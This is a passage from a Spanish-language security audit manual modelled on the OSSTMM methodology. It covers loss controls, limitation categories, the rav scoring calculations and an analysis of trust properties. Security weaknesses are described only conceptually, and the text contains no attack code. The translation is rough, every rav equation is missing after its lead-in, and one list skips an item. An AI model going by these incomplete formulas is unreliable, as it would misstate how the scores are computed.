fuera de sí mismo. Esto difiere de ser una limitación de seguridad en el objetivo, ya que se aplica al diseño o la implementación de controles. En una auditoría de redes de datos COMSEC, si se puede realizar un inicio de sesión en HTTP y en HTTPS, pero requiere que el usuario haga esa distinción, entonces no puede contar para Subyugación. Sin embargo, si la implementación requiere el modo seguro de forma predeterminada, como un sistema de mensajería interna PKI, cumple con el requisito del control Subyugación para ese ámbito. Más sencillamente, en HUMSEC, un proceso de no repudio en el que la persona debe firmar un registro y proporcionar un número de identificación para recibir un documento está bajo controles de Subyugación cuando el proveedor del documento registra el número de identificación, en lugar de que el receptor lo haga, Para eliminar la grabación de un número falso con un nombre falso. Cuente cada instancia de acceso o punto de confianza en el ámbito que garantiza, que no se puede producir interrupción en la interacción, sobre el canal y el vector, incluso en situaciones de fallo total. Continuidad es el término paraguas para características tales como supervivencia, equilibrio de carga y redundancia. En una auditoría PHYSSEC, si se descubre que una entrada en un almacén se bloquea de tal manera que no es posible una entrada alternativa y los clientes no pueden ingresar, dicho acceso no tiene continuidad. En una auditoría de redes de datos COMSEC, si un servicio de servidor web falla y un servidor web alternativo actúa en lugar del que ha dejado de prestar servicio proporciona redundancia para que no se pierdan interacciones, este acceso tiene continuidad. Cuente cada instancia de Access o Trust en el ámbito que no se abre o proporciona nuevos accesos cuando se produce un error de seguridad. En lenguaje común, para "fallar con seguridad". En una auditoría PHYSSEC donde dos guardias controlan el acceso a una puerta, si se retira una puerta y la puerta no puede ser abierta por la guardia restante, entonces tiene resiliencia. En una auditoría de redes de datos COMSEC, si un servicio web que requiere un inicio de sesión o una contraseña pierde la comunicación con su base de datos de autenticación, se debería denegar todo el acceso en lugar de permitirlo para tener resiliencia. Cuente cada instancia de acceso o punto de confianza que proporcione un mecanismo de no rechazo para cada interacción para proporcionar seguridad de que la Página 301 de 430

Manual de Auditoria para no Auditores

Confidencialidad

Privacidad

interacción particular ocurrió en un momento particular entre las partes identificadas. El no repudio depende de la identificación y autorización para que se establezca adecuadamente para que sea aplicada apropiadamente sin limitaciones. En una auditoría de PHYSSEC, el control de No-repudio existe si la entrada a un edificio requiere una cámara con una exploración biométrica de cara para obtener entrada y cada vez que la entrada se usa, el tiempo de entrada se registra con el ID. Sin embargo, si se utiliza una tarjeta llave en su lugar, el control de no repudio requiere una cámara sincronizada y codificada en el tiempo para asegurar el registro de la identidad del usuario de la tarjeta para evitar ser una implementación defectuosa. Si la puerta se intenta abrir sin la tarjeta llave, no tener la cámara sincronizada que supervisa la puerta significaría que no todas las interacciones con la entrada tienen el control del No-repudio y por lo tanto no cuenta para este control. En una auditoría de redes de datos COMSEC, puede haber varios archivos de registro para no rechazo. Una exploración de puerto que interactúa en la pila IP se registra en un registro mientras que la interacción con el servicio web se registra en otro archivo de registro. Sin embargo, como el servicio web no puede registrar las interacciones del método POST, el control todavía se cuenta; Sin embargo, también lo es la limitación de seguridad. Cuente cada instancia de Access o Trust en el ámbito que proporciona los medios para mantener el contenido de las interacciones no reveladas entre las partes que interactúan. Una herramienta típica para la confidencialidad es el cifrado. Además, la ofuscación del contenido de una interacción es también un tipo de confidencialidad, aunque errónea. Sin embargo, en HUMSEC, un método de Confidencialidad puede incluir susurros o usar señales manuales Cuente cada instancia de acceso o punto de confianza dentro del ámbito que proporciona los medios para mantener las interacciones no visibles a las partes no autorizadas o implicadas. Si bien "ser privado" es una expresión común, la frase es un mal ejemplo de privacidad como comunicación segura y reservada sólo a los participantes autorizados porque incluye elementos de confidencialidad. Privado en este caso significa que las partes se han reconocido ya autorizado de forma recíproca aunque no se aplique necesariamente al contenido total de la comunicación, solo a algunas partes. Página 302 de 430

Manual de Auditoria para no Auditores

Integridad

Alarma

Una herramienta típica para la privacidad está obscureciendo la interacción, es decir, tener la interacción tener lugar fuera de la visibilidad de terceros. La confusión de los medios de interacción como ofuscación es otro método de aplicación del control de Privacidad. En HUMSEC, un método de privacidad puede ser simplemente tomar la interacción en una sala cerrada lejos de otras personas. En las películas, vemos las técnicas para crear el control de privacidad mediante el establecimiento de dos maletas idénticas al lado del otro, algún tipo de incidente para crear confusión tiene lugar, y las dos personas cambian las maletas en aparentemente simple vista. Cuente cada instancia de acceso o punto de confianza en el ámbito que puede asegurar que el proceso de interacción y el acceso a los activos tiene finalidad y no se puede corromper, detener, continuar, redirigir o revertir sin que sea conocido por las partes involucradas. Integridad es un proceso de control de cambios. En las redes de datos COMSEC, el cifrado o un hash de archivo puede proporcionar el control de Integridad sobre el cambio del archivo en tránsito. En HUMSEC, la segregación de funciones y otros mecanismos de reducción de la corrupción proporcionan control de integridad. Asegurar la integridad en el personal requiere que dos o más personas sean requeridas para un solo proceso para asegurar la supervisión de ese proceso. Esto incluye que no hay acceso maestro a todo el proceso. No puede haber ninguna persona con acceso completo y ninguna llave maestra para todas las puertas. Cuente cada instancia de acceso o punto de confianza que tiene un registro asociado o hace una notificación cuando aumenta la porosidad no autorizada y no intencional para el vector o las restricciones y controles se ven comprometidos o dañados. En las redes de datos COMSEC, cuente cada servidor y servicio que supervisa un sistema de detección de intrusos basado en la red. O bien, cuente cada servicio que mantiene un registro de interacción supervisado. Los registros de acceso cuentan, incluso si no se utilizan para enviar una alerta de notificación de inmediato, a menos que nunca se supervisen. Sin embargo, los registros que no están diseñados para ser utilizados para tales notificaciones, como un contador de paquetes enviados y recibidos, no se clasifican como una alarma ya que hay muy pocos datos almacenados.

Página 303 de 430

Manual de Auditoria para no Auditores Limitaciones Finalmente, las limitaciones serán verificadas donde sea posible. Los valores de cada limitación dependen de la porosidad y de los controles. Esto es diferente de la perspectiva de riesgo más común en la que una vulnerabilidad puede ser asignada un nivel de riesgo basado en qué daño puede hacer, lo fácil que es hacer y la distancia en el alcance del ataque. Por lo tanto, los valores de limitación se calculan basados en la porosidad y los controles sobre el objetivo final que se desea proteger. Categoría

Vulnerabilidad

Descripción Cuente por separado cada falla o error que desafía las protecciones mediante las cuales una persona o un proceso puede acceder, denegar el acceso a otros u ocultarse o los bienes dentro del alcance. En PHYSSEC, una vulnerabilidad puede ser tan simple como una puerta de cristal, una puerta de metal corroída por el clima, una puerta que puede sellarse acuñando monedas en el espacio entre ella y su marco, equipos electrónicos, el no sellados de plagas como hormigas o Ratones, una unidad de CD de arranque en un PC, o un proceso que permite a un empleado tomar un basurero lo suficientemente grande como para esconder o transportar activos fuera del alcance. En HUMSEC, una vulnerabilidad puede ser un sesgo cultural que no permite que un empleado cuestione a otros que parecen fuera de lugar o una falta de entrenamiento que deja a una nueva secretaria para dar información comercial clasificada para uso interno solamente. En la seguridad de los datos COMSEC, una vulnerabilidad puede ser una falla en el software que permite a un atacante sobrescribir el espacio de memoria para obtener acceso, una falla de cálculo que permite a un atacante bloquear la CPU usando el 100% de la capacidad de proceso un proceso vinculado a un archivo que se copia en el disco hasta que no pueda funcionar más. En las telecomunicaciones COMSEC, una vulnerabilidad puede ser una falla en el sistema de teléfono público, que permite que los sonidos a través del receptor imiten gotas de monedas, una cabina telefónica que permite a cualquiera acceder a la línea telefónica de otra persona, un sistema de correo de voz que proporciona mensajes desde cualquier teléfono, o una máquina FAX que puede ser consultada remotamente para reenviar lo último en la memoria al número de la persona que llama. En SPECSEC, una vulnerabilidad puede ser hardware que puede ser sobrecargado y quemado por versiones de mayor potencia de la misma frecuencia o una Página 304 de 430

Manual de Auditoria para no Auditores frecuencia cercana, para un receptor estándar sin configuraciones especiales que pueden acceder a los datos de la señal, un receptor que puede ser forzado a aceptar una señal de terceros en lugar de la deseada, o un punto de acceso inalámbrico está cerca de un horno microondas Cuente cada falla o error en los controles de interactividad: autenticación, indemnización, resiliencia, subyugación y continuidad. En PHYSSEC, una debilidad puede ser una cerradura de puerta que se abre cuando una tarjeta se acuña entre ella y el marco de la puerta, un generador de respaldo sin combustible, o un seguro que no cubre los daños de inundación en una zona de susceptible de ser inundada. En HUMSEC, una debilidad puede ser un fallo del proceso de un segundo guardia para tomar el puesto de guardia que corre tras un intruso o un clima cultural dentro de una empresa para permitir que los amigos en los espacios restringidos publicado.

Debilidades

En la seguridad de los datos de COMSEC, una debilidad puede ser un inicio de sesión que permite intentos ilimitados o una granja de servidores Web con DNS round-robin para el equilibrio de carga, pero cada sistema también tiene un nombre único para la vinculación directa. En telecomunicaciones COMSEC, una debilidad puede ser un PBX que aún tiene las contraseñas de administración predeterminadas o un banco de módem para acceso remoto que no registra los números de llamada, el tiempo y la duración. En SPECSEC, una debilidad puede ser un punto de acceso inalámbrico que autentica a los usuarios basándose en direcciones MAC (que pueden ser falsificadas) o una etiqueta de seguridad RFID que ya no recibe señales y por lo tanto falla "abierta" después de recibir una señal de una fuente de alta potencia. Cuente cada falla o error en los controles del proceso: no repudio, confidencialidad, privacidad, integridad y alarma.

Precauciones

En PHYSSEC, una preocupación puede ser un mecanismo de bloqueo de puerta cuyos controles de operación y tipos clave son públicos, un generador de respaldo sin medidor de potencia o indicador de combustible, un proceso de equipo que no requiere que Página 305 de 430

Manual de Auditoria para no Auditores el empleado deje los materiales cuando se reciben, O una alarma de incendios no lo suficientemente fuerte como para ser oído por los trabajadores de la máquina con tapones para los oídos. En HUMSEC, una preocupación puede ser un fallo del proceso de un guardia que mantiene el mismo horario y rutina o un clima cultural dentro de una empresa que permite a los empleados utilizar salas de reuniones públicas para el negocio interno. En la seguridad de los datos COMSEC, una preocupación puede ser el uso de certificados de servidor web generados localmente para HTTPS o archivos de registro que registren sólo los participantes de la transacción y no la fecha y la hora correctas de la transacción. En las telecomunicaciones COMSEC, una preocupación puede ser el uso de una máquina de fax para enviar información privada o un sistema de correo de voz que utiliza tonos de tacto para introducir un PIN o una contraseña. En SPECSEC, una preocupación puede ser un punto de acceso inalámbrico usando un cifrado de datos débil o un abridor de puerta infrarrojo que no puede leer el remitente bajo la lluvia. Cuente cada acción, defecto o error injustificable que proporciona visibilidad directa o indirecta de los objetivos o activos dentro del canal de alcance elegido. En PHYSSEC, una exposición que permite ver activos y procesos o un medidor de potencia que muestra la cantidad de energía que un edificio utiliza y su fluctuación en el tiempo.

Exposición

En HUMSEC, una exposición puede ser un guardia que permite a todos los visitantes ver la lista de nombres en la hoja de inicio de sesión o un operador de la compañía que informa a las personas que llaman que una persona en particular está enferma o de vacaciones. En la seguridad de datos COMSEC, una exposición puede ser un banner descriptivo y válido sobre un servicio (banners de desinformación no son exposiciones) o una respuesta de eco ICMP de un host. En las telecomunicaciones COMSEC, una exposición puede ser un directorio automatizado de la empresa Página 306 de 430

Manual de Auditoria para no Auditores ordenado alfabéticamente, permitiendo a cualquiera pasar por todas las personas y números, o una máquina de FAX que almacena los últimos números marcados. En SPECSEC, una exposición puede ser una señal que interrumpe otras máquinas o un dispositivo de infrarrojos cuyo funcionamiento es visible por cámaras de video estándar con capacidad nocturna. Cuente cada elemento no identificable o desconocido que no puede ser contabilizado en operaciones normales, generalmente cuando la fuente o destino del elemento no puede ser entendido. Una anomalía puede ser un signo temprano de un problema de seguridad. Dado que las incógnitas son elementos que no pueden controlarse, una auditoría adecuada requiere anotar todas y cada una de las anomalías. En PHYSSEC, una anomalía puede ser aves muertas descubiertas en el techo de un edificio alrededor de equipos de comunicaciones. Anormalidades

En HUMSEC, una anomalía puede ser preguntas que un guardián hace, lo que puede parecer irrelevante para el trabajo o la charla estándar. En la seguridad de los datos COMSEC, una anomalía puede ser respuestas correctas a una sonda de una dirección IP diferente que se probó o se esperaba. En telecomunicaciones COMSEC, una anomalía puede ser una respuesta de módem de un número que no tiene ningún módem. En SPECSEC, una anomalía puede ser una señal local que no puede localizarse correctamente ni hace ningún daño conocido

La Fórmula de Seguridad Operacional El rav se deriva de tres categorías definidas dentro del alcance: Seguridad Operacional, Controles y Limitaciones. Para empezar, primero debemos agregar y asociar toda nuestra información de entrada a las categorías apropiadas para cada variable de entrada. La ecuación rav requiere que a cada una de las categorías se le asigne un valor base logarítmico para escalar los tres factores de Seguridad Real de acuerdo con el alcance

Página 307 de 430

Manual de Auditoria para no Auditores

La información contenida en el rav está compuesta de cómo las operaciones se equilibran con controles y limitaciones. No hay "pesos" para distorsionar los resultados dejando una cuantificación flexible de la superficie de ataque que permite compararla con la seguridad de cualquier otra cosa sin importar tamaño, vector o canal Cálculos en OpSec La Porosidad La Seguridad Operacional, también conocida como la Porosidad del alcance, es el primero de los tres factores de Seguridad Actual que deben ser determinados. Se mide inicialmente como la suma de la visibilidad del alcance (V P), del acceso (A P) y de la confianza (T P)

Al calcular el rav es necesario determinar el valor base de seguridad operacional, baseOpSec. El valor base de la Seguridad Operacional viene dado por la ecuación

Como el logaritmo de 0 no está definido en el cálculo, necesitamos incluir el 1 + 100 aquí. El log de 1 es 0. Así que si tenemos 0 Porosidad y queremos expresar esta falta de interacción como la seguridad perfecta de 100 rav entonces necesitamos agregar +1 a la ecuación. Sin el 1 + 100 tendríamos números indefinidos en el caso de que las sumas de cualquiera de esos factores sean 0. Esto es requerido por la metodología porque la ausencia de interacciones representa una seguridad perfecta y por lo tanto el logaritmo debe ser igual a 0 para proporcionar el 100 rav

Página 308 de 430

Manual de Auditoria para no Auditores La Fórmula de Controles El siguiente paso en el cálculo del rav es definir los Controles de Pérdidas; Los mecanismos de seguridad establecidos para proteger las operaciones. Primero la suma de los Controles de Pérdida, LC suma, debe ser determinada sumando las 10 categorías de Control de Pérdidas.

Así, la suma de suma de control de pérdidas LC se da como

Dado que la combinación de cada uno de los 10 Controles de Pérdidas equilibra el valor de 1 pérdida OpSec (visibilidad, acceso, confianza), es necesario determinar la cantidad de Controles Perdidos, suma MC, para evaluar el valor de las Limitaciones de Seguridad. Esto debe hacerse individualmente para cada una de las 10 categorías de control de pérdidas. Por ejemplo, para determinar los controles que faltan para la autenticación (Au MC) debemos restar la suma de los controles de autenticación (Au LC) del ámbito de la suma OpSec. Los controles que faltan nunca pueden ser menores que cero. La ecuación para determinar los controles perdidos para la autenticación (Au MC) es dada por

Los totales de control faltante resultantes para cada uno de los 10 Controles de pérdidas deben agregarse para llegar al valor total de Control ausente (suma) Página 309 de 430

Manual de Auditoria para no Auditores

Verdaderos Controles Verdaderos Controles (suma TC) es la inversa de los Controles Perdidos, lo que significa que los Controles Verdaderos para cada control individual también deben ser calculados antes de que los resultados puedan ser computados en TC de suma. Ecuación para determinar los Controles de Autenticación

Se ha de aplicar a todas las categorías en cuyo caso la ecuación queda formulada de la siguiente forma:

Los controles verdaderos se utilizan para medir la colocación ideal de los controles. El valor base también ayuda a eliminar la influencia de una colocación desproporcionada de controles en la seguridad. El valor controles verdaderos (base TC) se da como:

Basado en la misma idea que Verdaderos Controles, Capacidad de Protección (TCvg) puede usarse para medir el porcentaje de controles en el lugar con respecto a la cantidad óptima y la colocación de los controles. La Cobertura verdadera se obtiene entonces usando los totales del Control Perdido y la siguiente ecuación:

Controles completos por otro lado, tener en cuenta todos los controles en su lugar, independientemente de una distribución equilibrada. Este valor es importante para medir el valor de la autenticación de dos factores, por ejemplo, y otras instancias de defensa en profundidad para la misma visibilidad, acceso o confianza. El valor de la base Controles completos (base FC) se da como:

Página 310 de 430

Manual de Auditoria para no Auditores

La fórmula de limitaciones a continuación, las limitaciones se ponderan individualmente. La ponderación de las vulnerabilidades, debilidades y preocupaciones se basa en una relación entre la porosidad o suma OpSec, los controles de pérdidas y en el caso de exposiciones y anomalías la existencia de otras limitaciones también juega un papel. Una exposición o anomalía no plantea ningún problema a menos que una vulnerabilidad, debilidad o preocupación también esté presente. Piense en una exposición como un puntero. Si hay un puntero que no va a ninguna parte, o en este caso no conduce a nada explotable (vulnerabilidad, debilidad, preocupación) y todos los controles son contabilizados, entonces en el momento de la prueba la exposición no tiene ningún efecto sobre la seguridad y por lo tanto no tiene valor en el rav. La siguiente tabla de valores se utiliza para calcular la variable SecLim de suma, como un paso intermedio entre las entradas de Limitación de seguridad y la variable SecLim base, que es la entrada básica Limitaciones de seguridad para la ecuación rav.

Página 311 de 430

Manual de Auditoria para no Auditores Limitaciones de seguridad Base Suma SecLim se calcula entonces como el total agregado de cada entrada multiplicado por su correspondiente valor ponderado definido en la tabla anterior.

La ecuación base Limitaciones de seguridad se da como:

La fórmula de seguridad real. Esta es la parte final para usar todos los cálculos anteriores de tres maneras diferentes. Seguridad Actual Delta El Delta de Seguridad Actual es útil para comparar productos y soluciones mediante la estimación previa del cambio (delta) que el producto o solución haría en el ámbito. Podemos encontrar el Actual Security Delta.

La verdadera protección Puede utilizarse como una expresión simplificada para la cobertura óptima de un ámbito dado donde 100 significa una relación óptima entre la porosidad, los controles verdaderos y las limitaciones de Seguridad. La verdadera protección se da como:

Seguridad Actual Para medir el estado actual de las operaciones con controles aplicados y las limitaciones descubiertas, se requiere un cálculo final para definir la Seguridad Actual. Como lo implica su nombre, este es el valor de seguridad total que combina los tres valores de seguridad operativa, controles y limitaciones para mostrar el estado real de seguridad. Página 312 de 430

Manual de Auditoria para no Auditores La seguridad real (total), ActSec, es el verdadero estado de seguridad proporcionado como un hash de las tres secciones. Un rav de 100 significa un equilibrio perfecto de seguridad sin embargo la seguridad real no es un valor de porcentaje verdadero. También son posibles puntajes por encima de 100, lo que significa que el alcance probado tiene más controles implementados de lo necesario, lo que también podría ser una prueba de exceso de gasto. La ecuación de rav final para Seguridad Actual se da como:

Análisis de la confianza "Si pudieras tomar una píldora que te hiciera más confiado” El estudio informal de ISECOM comenzó a ayudar a las personas a comprender mejor cómo la confianza es como concepto. El público en general responde no a esta pregunta. El profesional respondió: "Sí, pero sólo si todos los demás tienen que tomarlo también." La confianza puede ser tanto un problema como una solución. Es un problema donde pone la seguridad supone un compromiso en una determinada en una posición. Al igual que el concepto de energía potencial en física, la confianza crea una concentración de autorización, que puede explotar en un gran problema, si la confianza falla o el objetivo de confianza se engañan y se daña. Sin embargo, también puede reducir la necesidad de re-autenticación continua, posiblemente redundante, aumentando la eficiencia de las operaciones. Por eso, la confianza se ve a menudo como una "autenticación a pie "protocolo. Esto se observa más a menudo en Seguridad Humana, donde los departamentos de Recursos Humanos deben investigar a un candidato antes del contratarlo y después de despedirlo, pues esa persona tiene acceso continuo a recursos incluso cuando ya no son empleados. La autenticación se realiza entonces rara vez o esporádicamente y rara vez en la misma profundidad que cuando se contrató. En seguridad operacional, la confianza es meramente un contribuyente a la porosidad, apenas otra interacción a controlar. Difiere desde el acceso (la otra forma de interacción), en cómo se relaciona con otros objetivos dentro del alcance. Entonces, dónde el acceso es la interacción entre dos lados de un vector dentro y fuera del alcance, la confianza se mide como las interacciones entre objetivos dentro del ámbito de aplicación. Sin embargo, la mayoría de la gente no usa la confianza tan concretamente. La confianza es por lo general o se aplica a una persona o a un elemento específico y en un acto específico como, ¿Puedo confiar en este empleado para entregar antes de la fecha límite? "O" ¿Puedo confiar en esta computadora? Hay respuestas correctas para estas preguntas, pero las personas a menudo carecen de las habilidades necesarias para cuantificar el nivel de confianza para esa persona u para un objeto.

Página 313 de 430

Manual de Auditoria para no Auditores

Lo que nos permitiría tomar una decisión más racional y lógica. Sin embargo, para cuantificar la confianza, necesitamos primero necesitamos comprender el concepto en sí mismo. Entendiendo el concepto confianza. La confianza es una decisión. Mientras que algunas personas afirman que es una emoción, como el amor, o un sentimiento, como el dolor, es claramente una cualidad compleja con la que los seres humanos nacen. A diferencia de una emoción o un sentimiento, podemos optar por confiar o no confiar en alguien o algo, incluso si se siente mal al hacerlo. Parece que somos capaces de racionalizar en una forma de reemplazar cómo nos sentimos acerca de confiar en un objetivo. Esto significa que podemos cuantificarlo aplicando un proceso lógico. También significa que podemos asignar valores de confianza a objetos y procesos, así como a personas basadas en estos valores. Esto trae un nuevo poder a aquellos que pueden analizar la confianza y tomar decisiones basadas en ese análisis. También significa que los analistas con esta habilidad pueden controlar mejor el sesgo, identificar las falacias (especialmente las de fuentes autorizadas o de confianza) y manejar las incógnitas para un informe transparente. Un punto a tener en cuenta, sin embargo, una vez que la confianza se cuantifica, es sólo un vehículo para racionalizar la confianza. No hará que algo se sienta confiable ahora o en el futuro. Algunas personas tienen fuertes sentimientos de aversión o atracción que pueden estar en desacuerdo con los hechos. Como parte de OpSec, la confianza es una parte de la porosidad de un objetivo. Donde la seguridad es como un muro que separa las amenazas de los activos, la confianza es un agujero en esa pared. Es donde el objetivo acepta la interacción de otros objetivos dentro del alcance. Sin embargo, la gente tiende a usar controles operativos incorrectos o incompletos con sus confianzas como la autenticación que se ha hecho con una identificación incorrecta, como una voz sobre un teléfono, una tarjeta de visita, o incluso la suposición de que porque una persona está en misma la habitación que ellos Están autorizados para estar allí. Esto abre a la gente una puerta hasta el fraude y el engaño. Se requiere el uso de controles adicionales para asegurar una administración, para asegurar su integridad y resiliencia. Desafortunadamente, al usar más controles funciona con objetos y procesos, pero puede que no funcione entre personas. Muchas veces las normas sociales consideran los controles más allá de la simple autenticación, como hacer coincidir una cara o una voz con una identidad que sea ofensiva para la persona a la que se debe confiar. La sociedad a menudo nos obliga a ser más confiados como individuos con el fin de beneficiar a la sociedad en su conjunto ya veces a expensas de todos y de la protección individual. Como se dijo anteriormente, la confianza operacional se mide como una cosa negativa que proviene de una interacción. Página 314 de 430

Manual de Auditoria para no Auditores Entre dos entidades en un ámbito cuando una confianza no tiene controles, es lo que la gente llama "confianza ciega", que puede ser bueno para las relaciones y puede acelerar las interacciones, pero es malo para la seguridad operativa. La gente generalmente aplica controles a los administradores, aunque no lo piensen como tal en ese momento. Algunos controles tienen más peso más peso que otros dependiendo de la situación y la necesidad. Ejemplo al seleccionar una persona de quienes necesitan depender, pueden poner un mayor valor en la integridad y la resiliencia. Al hacer una transacción financiera, pueden poner un mayor valor en la autenticación, la continuidad y la confidencialidad. Él puede poner un valor más grande en la alarma y la subyugación para el consejo en un producto a menos que sea un médico Entonces prefieren privacidad y no repudio. Uso de la confianza la propiedad le permite tomar una decisión de confianza incluso cuando la información que tienen el objetivo está incompleta. Dado que la toma de decisiones de confianza y no informadas es un juego peligroso, la Al menos un proceso formal como la aplicación de las propiedades de confianza puede proporcionar es informar al tomador de decisiones de exactamente cuánto no saben y les permiten buscar más informaciones antes de continuar. Esto significa que la verdadera necesidad de poder cuantificar la confianza operacional se produce cuando debemos confiar en muchos desconocidos para determinar y racionalizar la confianza. Las propiedades de confianza son los elementos objetivos y cuantificables que se utilizan para crear confianza. Podemos decir que estas propiedades son lo que diríamos que nos dan "razón para confiar". Estas propiedades se deben convertir en reglas básicas basadas en el objetivo y la situación que estamos verificando. Desafortunadamente, existen muchas propiedades de confianza ilógicas y son muy comunes su uso lo que lo hace más difícil para nosotros conceder la confianza adecuada decisiones sin que se sienta mal. Sin embargo, es exactamente la parte de la sensación que nos hace más propensos a errores. Durante la investigación, se descubrieron muchas propiedades potenciales de confianza que se usan comúnmente e incluso las regulaciones oficiales, gubernamentales e industriales recomiendan, sin embargo, fallaron las pruebas de lógica y fueron descartadas de nuestro conjunto de propiedades dejando todas ellas reducidas a sólo diez. Los abusos de confianza Desafortunadamente, la mayoría de la gente entiende y utiliza mal la confianza. Existen muchos métodos ilógicos para la confianza y se utilizan popularmente. Dos ejemplos de las propiedades de confianza más comunes y falaces son la sustentada en la credibilidad y la transitividad. Estas propiedades son utilizadas popularmente por las personas para tomar decisiones de confianza sobre lo desconocido. En la credibilidad, una persona hace una elección de confianza basada en lo que un gran número de personas tienen que decir acerca de la cosa o persona en cuestión, incluso si esas personas no son de confianza individual. Página 315 de 430

Manual de Auditoria para no Auditores Relaciones de confianza y sus tipos Básicamente, una persona acepta a los administradores del grupo como propios. Esto es similar a la presión creada por los grupos sociales o políticos y los medios de comunicación. La razón por la cual esto es ilógico es porque las experiencias individuales de los demás, especialmente los extraños, son todas relativas y no pueden verificar la confiabilidad consistente de los eventos futuros.

El otro uso falaz común de la confianza es la transitividad. Es cuando una persona acepta la decisión de confianza de una persona de confianza para sí mismos. También se conoce como la cadena de confianza: tú confías en Alice y Alice confía a su vez en Jack por lo tanto puedes confiar en Jack. Sin embargo, la confianza transitiva es ilógica también porque puede confiar en Alice para algunas cosas, pero quizás no las mismas cosas por las que confías en Jack. También existe la posibilidad de que Alice se haya acercado a la confianza por algún beneficio emocional que no está disponible para usted. Las personas que a menudo confían en "su instinto" para tomar decisiones son alabadas cuando tienen razón, como si tuvieran algún sentido secreto y poderoso sobre otros seres humanos. Sin embargo, aparte de la suerte, algunas personas son mejores en prestar atención a los detalles, ver micro expresiones emocionales en las caras y aplicar la lógica rápidamente a situaciones comunes que ellos mismos podrían no ser capaces de expresar verbalmente acerca de cómo, sino que sienten lo que está mal. Estas personas aprendieron a hacer esto naturalmente y construido sobre la experiencia llena de pruebas y errores no es realmente obvio, para sí mismos más de lo que nadie nota los millones de pequeñas decisiones que toman cada día y sus consecuencias. Las propiedades de la confianza permiten a las personas comunes y corrientes que no tienen esta habilidad natural analizar cualquier de sus decisiones con habilidad, distanciándose de su propio "instinto visceral" subdesarrollado hasta que puedan reacondicionarse para hacerlo automáticamente, fluidamente, afilando sus instintos Hasta que funcionen visceralidad.

Página 316 de 430

Manual de Auditoria para no Auditores Las diez propiedades de la confianza para los administradores. Las diez propiedades de confianza para hacer un análisis de confianza apropiado son: Nro. Objeto 1

2

Descripción del Objeto / Acción Número de personas que componen el grupo denominado grupo de confianza ¿Cuál es el número ideal para este propósito dos, tres, cuatro? Simetría. El vector (dirección) de la administración. La confianza puede ser una forma (Asimétrica) y definidas en cuanto a la forma en que el administrador debe ejercer su administración o ambas formas (simétricas). Una persona que también debe confiar en usted tiene que considere la reciprocidad de romper la confianza.

4

Visibilidad El nivel de transparencia de todas las partes y procesos operativos del objetivo y su entorno.

5

Control También llamado control, la cantidad de influencia sobre el alcance por el operador.

6

Consistencia La evidencia histórica de compromiso o corrupción del objetivo.

7

Integridad Cantidad y notificaciones oportunas de cambio dentro del objetivo.

8

9

10

11

Las indemnizaciones como garantía de compensación para el otorgante de la confianza o la condena para el infractor de confianza. Es un valor puesto en la confianza con el objetivo. La compensación financiera por riesgo, la cantidad de ganancia o ganancia para la cual el riesgo de poner la confianza en el objetivo es suficiente para compensar el riesgo de fracaso en la administración o funcionamiento del mismo. Componentes. El número de otros elementos que actualmente proporcionan recursos para el objetivo a través de interacciones directas o indirectas, similar a la Intervención del Proceso de Cuatro Puntos. Porosidad La cantidad de separación entre el objetivo y el entorno externo.

Página 317 de 430

Manual de Auditoria para no Auditores Las Reglas de Confianza El uso de las propiedades de confianza nos permite crear sólo reglas cuantificables. Sin embargo, las propiedades por sí solas son inútiles si no pueden convertirse en propiedades cuantificables, objetivas o comprensibles por las personas comunes y no necesariamente involucradas en el campo de seguridad. Por lo tanto, todavía tenemos que convertir la confianza y sus propiedades en reglas de confianza, cálculos de operaciones directamente relevantes realizadas a partir de todas las propiedades de la administración. Hacemos esto en forma de preguntas donde las respuestas son números imparciales que serán utilizados para crear un porcentaje para una comprensión más fácil y que coincida con nuestro uso común de calificadores de confianza. Al crear las reglas de confianza, es importante tener en cuenta que las decisiones de confianza no son lineales. No hay ningún edificio hacia la confianza en un orden en particular o incluso un sistema de valores de esfuerzo donde se puede determinar que un nivel requiere más esfuerzo que otro. En términos de metodología, parece irracional cuando se calcula. La decisión de confiar, por lo tanto, puede concluirse mediante una respuesta de las siguientes pruebas que constituyen las reglas de confianza. Sin embargo, hacerlo es nuestra elección consciente de hacer una confianza donde el cálculo específicamente dice que no. Esto puede tener más sentido en una situación de vida o muerte donde el resultado de la confiabilidad es muy bajo, pero el Valor de la Recompensa (la vida de uno) es tan increíblemente grande que no se puede hacer otra elección. Las reglas de confianza deben crearse específicamente para un único propósito. Si bien esto puede parecer engorroso, es posible hacer genéricamente reglas de confianza específicas de temas que se adapten al propósito. La ventaja de esto es que las propiedades del administrador pueden entonces estructurarse como reglas que encajan cualquier propósito y cualquier situación donde uno debe actuar como administrador. Decisión sobre otra persona, cosa, proceso, sistema o acción. Con la práctica, estas reglas de confianza se pueden hacer de forma automática y muy rápidamente como parte de un proceso de decisión, centrándose sólo en las reglas que se pueden responder y descubrir aquellos sucesos en los que no puede haber respuesta conocida con la información disponible. La aplicación de las reglas de confianza en pruebas de verificación específicas que proporcionan una cantidad información suficiente, sin embargo, idealmente, es necesario determinar una cantidad finita. Una cantidad infinita puede ser demasiado relativa al probador y no proporciona las restricciones necesarias para expresar el resultado en un porcentaje. Por ejemplo, para aplicar la tercera propiedad, transparencia, los componentes deben contarse como indexados para que haya una cantidad finita, por lo tanto, las partes de una computadora pueden tener un número de finito de partes antes de que la computadora esté completamente construida y un proceso puede tener un número preciso y finito de pasos antes de que se complete. Para las personas, sin embargo, esto puede Página 318 de 430

Manual de Auditoria para no Auditores no ser tan fácil de hacer, pero es posible si se aplica se traslada al desarrollo de un proceso concreto y finito. En el caso de una autorización de seguridad, puede contar todas las relaciones dentro de un intervalo de tiempo determinado y de éstas, el número de personas que tienen antecedentes penales. Esto permite un número finito incluso si es bastante grande. Entonces, puede que desee completar otras pruebas específicas de la tercera regla, ya que sólo se puede dar un tipo de influencia. Otras pueden ser necesidades financieras, experiencias laborales, afiliaciones, convicciones y cualquier cosa que dé una buena representación en cuanto a lo transparente que es esa persona. El cálculo final sin embargo tiene que ser la suma total de todas las pruebas que proporcionarán un solo porcentaje de transparencia para esa regla. El porcentaje resultante para cada regla de confianza se puede ver individualmente para mostrar dónde se deben aplicar controles para mejorar o mantener los niveles necesarios de confiabilidad. Esto también puede mostrar dónde deben realizarse mejoras antes de considerar la necesidad de un administrador. Por ejemplo, un análisis de confianza para una costosa y difícil campaña militar puede mostrar que la regla cuatro, la subyugación, está en el 10% porque algunos de los participantes necesarios son civiles y no bajo control militar. Esto da a los operadores de teatro de la campaña información específica y procesable para hacer los ajustes necesarios para obtener ese porcentaje hasta un nivel que sea aceptable por tener un mínimo impacto. Otro resultado del análisis de los porcentajes de las reglas de confianza individuales 